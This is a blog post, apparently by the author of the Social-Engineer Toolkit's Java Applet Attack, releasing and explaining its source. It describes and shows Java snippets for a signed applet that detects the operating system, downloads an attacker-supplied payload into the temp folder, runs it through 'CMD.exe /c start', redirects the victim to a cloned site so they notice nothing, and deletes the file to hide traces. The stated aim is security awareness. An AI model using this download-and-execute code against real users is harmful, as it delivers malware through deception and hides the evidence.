Releasing Java Applet Source Code by Thomas Werth When you are reading this blog, you should already know about the Thomas Werth Java Applet Attack that's incorporated into the Social-Engineer Toolkit. The attack vector itself has been closed source up until this point and does not specifically rely off of exploiting a vulnerable and is universal in nature. The attack targets Java based installations for Windows, Linux, and Mac based systems and works on fully patched and updated (and old) based Java implementations. Big thanks goes to Java for their feature rich API's and awesome security model :) The question that gets posed to me on a number of occasions is, why did I write an attack vector that is multi-platform and can attack fully patched systems? Simple answer: "For user education“. Java is often considered a secure platform with a sandboxes environment, most developers believe they are impervious to attack. This release isn't a discussion on whether or not Java is secure or not, it is more so to reveal that Signed Java Applets are susceptible to multiple attack vectors patched or not. It is similar to every application you download from the internet and run on your PC. There is one slight difference though, Java Applets can lie to you and pretend they are issued by Microsoft or Sun without conceptually alerting the user that it could be dangerous. As a learning and awareness effort to write a proof of concept, I decided to make users learn the hard way :) A few weeks before writing my applet i stumbled across SET and virtually met David. Long Story short summary: We joined forces – hope you like the result. So let's talk about the internals of the applet. The applet has to read the operating system specific payload path and the url of the next page to show from it parameters. Then it will check on which platform it is currently running and start to download a specific payload using the browser it runs under. The download is saved as a file in a system specific temp folder. The URL is then changed back to the browser and the downloaded file is started. Finally the applet waits till execution of payload has ended an wipes the file from the hard-disk. That's all. Really this is enough to beat most security controls on modern systems. To compromise a system it is enough to fool the user and rely on what we see on a screen or trust a human and rely off of what we are used to A few snippets of the source code show the critical functions. Initial check of current system: //get path to temp String pfad = System.getProperty("java.io.tmpdir") + File.separator; //get operating system String os = System.getProperty("os.name").toLowerCase(); Check if it is a windows system and prepare download url of windows payload: if (os.indexOf( "win" ) >= 0) //Windows { downParm = getParameter( "WIN" ); osType = 0; pfad += "java.exe"; } The download itself is done by a bufferedinputstream and a fileoutputstream. Next part of code i will show is the way the url is changed to fool the user even more. When utilizing the Social-Engineer Toolkit and the Site Cloner, a website is cloned and the victim is tricked into accepting the malicious Java Applet. Once the user accepts the applet and the payload is downloaded and executed on the system, the victim is redirected to the original site cloned and has no idea what just occurred. //get Parameter nextPage String page = getParameter( "nextPage" ); //check if parameter is set if ( page != null && page.length() > 0 ) { //create url from parameter and tell browser to change url URL urlPage = new URL(page); getAppletContext().showDocument(urlPage); } Now everything is ready to launch the payload. This is done with a few lines of code, wheres windows part is shown here as example. //check if operating system is windows if ( osType < 1 ) //Windows { //Java Api call to create a new process. //Which uses cmd.exe to execute freshly downloaded payload. f = Runtime.getRuntime().exec("CMD.exe /c start " + pfad); //wait till payload has finished execution f.waitFor(); //wipe the file to cover your axx (new File(pfad)).delete(); } That's it. Hopefully there's still some magic left and you don't blame me how easy this attack is. In closing, the summary of all of this is to show you that even with the most heavily patched system, with the latest and greatest, there's always room for exceptions. This method is easy in order to coax a victim into believing that this is not an attack and a normal experience. We as security professionals typically focus heavily on patches and the latest vulnerabilities when we have significant exposures to frameworks and applications that will never be patched. It's easier for us to believe what we see on a screen or trust a human and rely off of what we are use to instead of what is actually occurring. Finally i'd like to thank David for his excellent work on SET and his fantastic cooperation! Thank you dude!